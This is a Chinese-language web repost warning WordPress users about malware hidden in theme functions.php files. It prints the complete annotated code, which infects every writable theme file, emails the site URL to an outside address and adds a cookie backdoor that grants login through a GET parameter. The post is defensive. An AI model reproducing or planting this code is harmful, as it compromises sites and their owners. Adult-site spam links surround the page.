亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 網站 > 建站經驗 > 正文

小心WordPress主題functions.php包含的惡意代碼

2024-04-25 20:31:39
字體:
來源:轉載
供稿:網友

昨天在給朋友做一個定制主題的時候,在functions.php發現了一段非常奇怪的代碼。自己也忘了是怎么出現的。我隨便找了個函數百度了一下,發現中招的人真是不少啊。原來這段包含在functions.php的代碼是已經流行了一段時間的惡意代碼。這段代碼會自動循環感染你所有的WordPress主題functions.php文件。所以發出來給大家做個參考。有碰到類似的朋友記得一定要刪除。

這段代碼是被加在在functions.php的?>后面的。如果發現了類似的多余函數,或者很多個?>那就要檢查一下了。修改的時候記得把其他WordPress主題的functions.php設置為只讀。這樣才能不被感染。全部改完后再把權限修改回來。

另外說一點,本站下載的主題不會含有惡意代碼,凡是其他網站下載的Yusi主題,請自己檢查清楚有沒有后門。
好了,下面把那段惡意代碼發布上來,希望大家自己對照檢查一下。

<?php
function _verifyactivate_widgets(){
//當前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找當前主題functions.php文件中最后一個 <? 標記,從這個標記的位置開始,取得一直到文件尾的內容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
$output="";
$allowed="";
//去除html和php標簽,其實這一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主題目錄themes的絕對路徑,如 /path-to-www/wp-content/themes
//為了加強程序的兼容性,它不惜以這種很晦澀的方式來獲取。。。
//以主題目錄themes的絕對路徑用array包裹為參數傳遞給_get_allwidgets_cont函數獲取此博客的所有主題的functions.php文件的絕對路徑
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主題functions.php文件可寫
if (is_writable($item)){
//特征碼
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
//取目標functions.php文件內容
$cont=file_get_contents($item);
//沒找到特征碼?OK,試圖感染
if (stripos($cont,$ftion) === false){
//查看目標functions.php文件最后是否是以 ?> 結尾,如果不是,給加上 ?> 標記
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
//這里的代碼是忽悠人了,模仿WP widgets的代碼,蠱惑你的眼睛,讓你覺得這是widget代碼。。。
$output .= $before . "Not found" . $after;
//如果文件是以 ?> 標記結尾的,連標記一起取過來
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
//開始感染,$widget內容即是惡意代碼自身,在functions.php文件原內容后附加惡意代碼
$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $comaar . "n" .$widget);fclose($f);
//后面這句也是偽裝用的
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//從$wids數組彈出一個元素(實際上是一個位置)
$places=array_shift($wids);
//如果位置字串是以/結尾的,則去掉/
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}

//若不存在這樣的文件或目錄則直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否則的話。。。嘿嘿
//遍歷此目錄
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
//如果是目錄,則加入$wids數組
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
//否則,如果是文件,并且文件名等于 functions.php的話,則加入到$items數組保存,這才是它的目的functions.php正是它要找的
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
//下面還有子目錄?再找找看,遞歸
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了,完事了,以數組返回所有找到的functions.php文件的絕對路徑
return $items;
}
}

//下面是3個針對低版本的php而寫的兼容函數
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//這個動作添加了,用于檢測所有主題目錄下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="<a>";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets))
//這個實際是wp_set_auth_cookie
$checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";

//如果 _is_widget_active_ option內容為空,即表示沒有被感染過
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已經通過的評論(不包括trackback/pingback)的文章
// post_author 為 livethemas@gmail.com 的文章,肯定是沒有的

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments實際上為 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";

//這里$sh_cont即為 livethemas@gmail.com
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//開始調用 wp_mail 向 livethemas@gmail.com 發送郵件,標題和內容都是被感染的博客的URL 地址
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<span id="more-5265"></span>")) {
$text=explode("<span id="more-5675"></span>", $text, 2);
$l=count($text[0]);
$more_link=1;
//執行這一句時就開始發郵件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
//把感染標記置為1
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "sntr�x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
//$filter 為 none ...,又是在偽裝
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "n";
} else {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "n";
}
}
return $output;
}

//這里是用來干壞事的,這才是這個惡意代碼的目的,前面的感染是“準備活動”
add_action("init", "_getprepare_widget");


//這個函數也是用來偽裝的,無惡意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
if(!$show_pass_post) $request .= " AND post_password =""";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

我這邊被感染的代碼沒有注解,我去找了由無燈大大分析注釋版本代碼,非常感謝。

 

小小建議

在有些地方下載的免費主題,記得檢查Wordpress主題的functions.php文件是否含有上面的惡意代碼(一般會自動加載在functions.php正常函數的最后)。如果有。記得設置為只讀然后刪除。

當然,本站的主題不會有惡意代碼,大家如果需要使用,請不要到其他地方下載。

 WordPress

 

 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美成人h版在线观看| 国产成人精品国内自产拍免费看| 91国偷自产一区二区三区的观看方式| 亚洲国产精品va在线看黑人| 91久久久久久久久| 亚洲三级免费看| 欧美激情亚洲综合一区| 91免费看片在线| 亚洲午夜性刺激影院| 久久久999精品视频| 91精品久久久久久久久久| 国产精品久久久999| 久久久久久久久久亚洲| 日韩精品视频观看| 91精品国产九九九久久久亚洲| **欧美日韩vr在线| 国产精品视频中文字幕91| 亚洲一级黄色av| 亚洲精品aⅴ中文字幕乱码| 亚洲欧洲日本专区| 亚洲国产精品嫩草影院久久| 欧美视频13p| 欧美精品成人91久久久久久久| 26uuu国产精品视频| 69av成年福利视频| 日韩福利伦理影院免费| 日韩精品在线免费观看| 亚洲欧美日韩中文在线制服| 欧美精品在线播放| 亚洲视频在线观看网站| 国内成人精品视频| 欧美精品情趣视频| 欧美电影在线观看| 欧美诱惑福利视频| 日本高清不卡的在线| 亚洲在线免费观看| 亚洲欧洲一区二区三区久久| 精品少妇一区二区30p| 日韩精品在线观看视频| 日av在线播放中文不卡| 精品视频在线播放| 欧美www视频在线观看| 97视频国产在线| 亚洲色图欧美制服丝袜另类第一页| 色妞欧美日韩在线| 久久久久久久久久av| 日韩免费在线播放| 日韩va亚洲va欧洲va国产| 国产精品久久久久久久久久东京| 日韩视频欧美视频| 亚洲色图第一页| 美日韩丰满少妇在线观看| 国产成人拍精品视频午夜网站| 日韩欧美综合在线视频| 精品av在线播放| 亚洲国产精品人人爽夜夜爽| 欧美大秀在线观看| 日韩av片永久免费网站| 一本色道久久综合亚洲精品小说| 国产成人综合一区二区三区| 国产精品久久久久久亚洲影视| 国产极品精品在线观看| 18一19gay欧美视频网站| 精品久久久久久亚洲国产300| 国产精品久久97| 亚洲激情视频在线播放| 欧美午夜丰满在线18影院| 亚洲欧美国产日韩天堂区| 成人在线视频网| 国产丝袜一区二区三区| 97视频在线观看播放| 亚洲成人黄色在线观看| 国产精品露脸自拍| 一区二区三区动漫| 日韩国产欧美精品在线| 中文字幕在线观看亚洲| 国产精品极品美女粉嫩高清在线| 最近的2019中文字幕免费一页| 国产精品吹潮在线观看| 伊人一区二区三区久久精品| 国产亚洲欧美一区| 一区二区三区日韩在线| 国产精品第二页| 海角国产乱辈乱精品视频| 国产美女扒开尿口久久久| 91精品国产91久久| 日韩在线观看网站| 91综合免费在线| 亚洲小视频在线| 精品视频中文字幕| 91精品国产成人| 国产精品色午夜在线观看| 日韩亚洲欧美中文高清在线| 96sao精品视频在线观看| 久久福利网址导航| 成人国产精品久久久久久亚洲| 亚洲www视频| 久久久欧美精品| 91精品国产777在线观看| 2019精品视频| 亚洲最大的免费| 国产精品网址在线| 91精品综合视频| 中文字幕欧美视频在线| 亚洲护士老师的毛茸茸最新章节| 国产在线观看一区二区三区| 亚洲欧洲自拍偷拍| 亚洲欧洲日产国产网站| 亚洲精品久久久久| 狠狠久久五月精品中文字幕| 欧美诱惑福利视频| 久久av红桃一区二区小说| 亚洲小视频在线| 亚洲国产精品va在看黑人| 欧美亚洲第一区| 91国产高清在线| 久久久这里只有精品视频| 久久亚洲精品网站| 国产va免费精品高清在线观看| 自拍偷拍免费精品| 成人妇女免费播放久久久| 欧美激情一区二区久久久| 亚洲最大av网站| 亚洲国产成人91精品| 亚洲一区二区国产| 精品国产一区二区三区在线观看| 亚洲精品美女在线观看| 久久久精品国产亚洲| 国产免费亚洲高清| 欧美丝袜一区二区| 亚洲国产另类久久精品| 国模叶桐国产精品一区| 亚洲毛片在线看| 久久精品视频在线| 日韩中文在线中文网在线观看| 国产精品成人aaaaa网站| 亚洲第一综合天堂另类专| 国产成人精品视频在线| 国产精品美女主播| 97视频人免费观看| 中文字幕九色91在线| 久久成人这里只有精品| 在线成人一区二区| 91在线观看免费网站| 日本一区二三区好的精华液| 成人激情视频在线播放| 91精品在线影院| 97久久精品人搡人人玩| 欧美精品中文字幕一区| 亚洲va国产va天堂va久久| 国产精品吴梦梦| 高清在线视频日韩欧美| 久久亚洲国产成人| 久久精品国产亚洲精品| 96pao国产成视频永久免费| 91久久久久久久| 久久天堂电影网| 日韩在线不卡视频| 神马国产精品影院av| 亚洲免费精彩视频| 久久男人的天堂| 国产精品一久久香蕉国产线看观看| 高清欧美电影在线| 亚洲精品一区二区久|